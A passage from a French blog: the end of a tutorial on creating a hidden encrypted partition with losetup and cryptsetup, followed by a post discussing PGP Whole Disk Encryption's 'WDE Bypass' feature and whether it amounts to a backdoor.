On formate la partition visible en ext2, on la monte et on crée un fichier pour tester :
mkfs.ext2 /dev/hda1
mount -t ext2 /dev/hda1 /mnt/hda1
echo abcd > /mnt/hda1/truc

Passons maintenant à notre partition chiffrée. Pour ne pas faire de bétises il faut trouver le nom d'un périphérique loop non utilisé. Ceux en cours d'utilisation peuvent être obtenus par la commande suivante :
losetup -a

Dans mon cas, loop0 est déjà utilisé donc je me rabats sur loop1 :
losetup -o 16450600 /dev/loop1 /dev/hda

On crée ensuite le "mapper" qui se chargera du chiffrement. Dans mon cas il s'appelle "toto" et utilise l'algorithme par défaut (AES128). Pour plus d'infos, lisez la page de manuel de cryptsetup. Le programme vous demandera de saisir le mot de passe pour le chiffrement.
cryptsetup create toto /dev/loop1

On vérifie que notre mapper a bien été créé à l'aide de "dmsetup ls" puis on peut créer et jouer avec notre partition :
mkfs.ext2 /dev/mapper/toto
mount /dev/mapper/toto /mnt/test
echo test > /mnt/test/truc
umount /mnt/test

Quand on a fini on démonte le mapper et le périphérique de boucle :
cryptsetup remove toto
losetup -d /dev/loop1

Si on effectue une recherche sur le disque dur, on trouve une occurence pour "abcd", 0 pour "test" et une seule pour "truc". Notre partition est bien chiffrée et invisible :smile:

Seul problème, pour ne pas à avoir à mémoriser les commandes et l'offset de la partition, il est préférable de créer un script de montage et un autre du démontage. A vous de faire marcher votre imagination pour dissimuler ces scripts :smile:

La vrai fausse backdoor dans le chiffrement des disques durs par PGP

, , ,

Il y a quelques jours, le blog Securology a publié un article traitant d'une fonctionnalité peu connue du logiciel de chiffrement de disque PGP Whole Disk Encryption (WDE) qui a provoqué quelques réactions "trollesques"... :troll:

Avant d'entrer dans le vif du sujet, il est bon de connaître à quoi sert PGP WDE et un résumé simple de son fonctionnement.
PGP Whole Disk Encryption permet, comme son nom l'indique, de chiffrer la totalité d'un disque dûr, c'est à dire : les différentes partitions, le (ou les) système(s) d'exploitation et le secteur de boot (Master Boot Record).
Quand un poste disposant de cette technologie est allumé, il boote d'abord sur du code de PGP qui va demander la saisie d'un mot de passe au clavier par l'utilisateur.
Par une suite de différents calculs cryptographiques, ce mot de passe va permettre au final le déchiffrement des données.

Dans les étapes utilisées pour arriver au lancement du système d'exploitation, la première est la déchiffrement d'une clé qui a été cryptée à l'aide du mot de passe de l'utilisateur.
Cette méthode est très utilisée, notamment pour la cryptographie à clé publique : pour éviter que la clé secrète soit compromise en cas d'intrusion et/ou de vol de données, celle-ci n'est pas stockée en clair sur le disque mais stockée chiffrée par un algorithme de chiffrement symétrique.
Ce procédé est nommé S2K / K2S (string-to-key et vice-versa), il est par exemple documenté dans la RFC 2440 : OpenPGP Message Format (chapitres 3.6.*, c'est dans la même RFC que l'on trouve une explication sur le Radix-64 :wink: )

On pourrait penser que la clé déchiffrée est celle utilisée pour le déchiffrement, mais il n'en est rien. Il y a une seconde étape qui permet à partir de cette clé d'accèder à la clé maître (master key) avec laquelle le chiffrement a été utilisé.
L'objectif de ce second procédé et de permettre à différents utilisateurs de déchiffrer le disque, chacun utilisant un mot de passe différent (si j'ai bien tout compris :wink: )

Maintenant que vous connaissez (vaguement) le fonctionnement du système, il est temps de parler de la fonctionnalité baptisée "Whole Disk Encryption (WDE) Bypass".
Le nom est celui donné par PGP et est suffisament explicite : il permet de passer oûtre la saisie d'un mot de passe pour déchiffrer les données.

A quoi sert exactement cette fonctionnalité ? Elle permet aux administrateurs de faire redémarrer les machines dont le disque est chiffré par WDE.
Partons du principe que vous êtes un administrateur d'un parc réseau avec des machines ultra-sécurisées et que vous avez besoin d'effectuer différentes taches qui seront validées lors du redémarrage de la machine.
Vous lancez l'opération et vous attendez sagement que vos machines redémarrent pour continuer à travailler. Sauf que... les machines ne redémarrent pas !
En effet le système d'exploitation ne s'est pas lancé car personne n'est devant le poste pour saisir le mot de passe de déchiffrement et par conséquent la couche réseau de l'OS n'est pas disponible. Vous voilà obligé de faire le tour des machines et de saisir chaque mot de passe de déchiffrement pour remettre votre réseau en marche :insane:

C'est là qu'intervient la fameuse fonctionnalité "bypass". Quand elle est activée, elle va stocker sur le disque une nouvelle clé de chiffrement dérivée de la master key ainsi qu'un flag disant à WDE d'utiliser cette clé automatiquement au prochain démarrage du poste. Cette clé est cryptée par le procédé S2K par un mot de passe fixe (valeur hexadécimale 0x01).

Donc :
  • l'administrateur lance ses taches sur les machines
  • il active le WDE Bypass
  • il redémarre les postes
  • WDE utilise la clé de bypass pour démarrer les postes
  • WDE supprime les données de bypass qui ont été placées sur le disque
  • les postes sont démarrés et accessibles par le réseau :smile:

Sur le principe c'est plutôt bien trouvé et c'est une fonctionnalité qui est semble très appréciée dans les entreprises (on peut comprendre). Le problème c'est que l'on baisse la sécurité du chiffrement à chaque utilisation du mode bypass : il suffit qu'un intrus subtilise une machine entre le moment de l'éteignage et celui du redémarrage pour disposer d'un disque sur lequel sont présentes toutes les informations nécessaires pour déchiffer le disque.

Le débat faire rage sur Slashdot entre ceux qui considèrent qu'il s'agit d'une backdoor et ceux qui défendent qu'il s'agit d'une fonctionnalité tout à fait normale.
En réalité quand j'essayais de comprendre le fonctionnement de tout ça, ça n'a pas été évident de trouver les commentaires de ceux qui se posaient les vrais questions sur Slashdot. Il faut dire que tout les articles sur le sujet sont en anglais et que ça ne facilite pas la tâche... heureusement c'est de l'écrit (j'ai eu l'occasion de parler anglais cet après midi et c'était l'enfer, en plus c'était une discussion avec un chinois :faint: )

Après avoir pesé le pour et le contre, mon opinion personnelle est que non, ce n'est pas une backdoor.
D'abord, bien que peu expliquée, cette fonctionnalité était citée dans la documentation. De plus PGP affiche une position claire sur cette fonctionnalité et a réagit en postant un commentaire sur le blog de l'auteur de l'article avant de donner des explications publiques.

Cependant cette fonctionnalité baisse considérablement la sécurité générale du chiffrement. Comme toujours en cryptographie, le niveau de sécurité d'un système est équivalent à celui de son mayon le plus faible. Ici on peut imaginer un malware qui active le WDE Bypass en vue d'une prochaine attaque physique, ou encore un code qui modifiera le fonctionnement du WDE... mais là on s'écarte sans doute trop du sujet.

Dans tous les cas pour activer cette fonctionnalité il faut un "cryptographic access" aux données, c'est à dire avoir des droits d'utilisateur sur la machine, c'est à dire... avoir accès aux données en clair.

En fin de compte ce qui gêne c'est que le WDE Bypass pourrait tout aussi bien être utilisé en douce, et q'une clé spéciale soit intégrée à l'installation du logiciel, chiffrée à l'aide d'une passphrase connue seulement par une certaine agence de sécurité nationnale :wink:
Bref on en revient à la confiance que l'on donne aux développeurs des logiciels que l'on utilise. Mais c'est un procédé intéressant et je comptais bien vous faire profiter de ces articles :smile:

Explication (simplifiée) de PGP WDE sur le site officiel (vidéo présente)
Un second article de Securology en réponse aux informations apportées par un représentant de PGP
Le premier article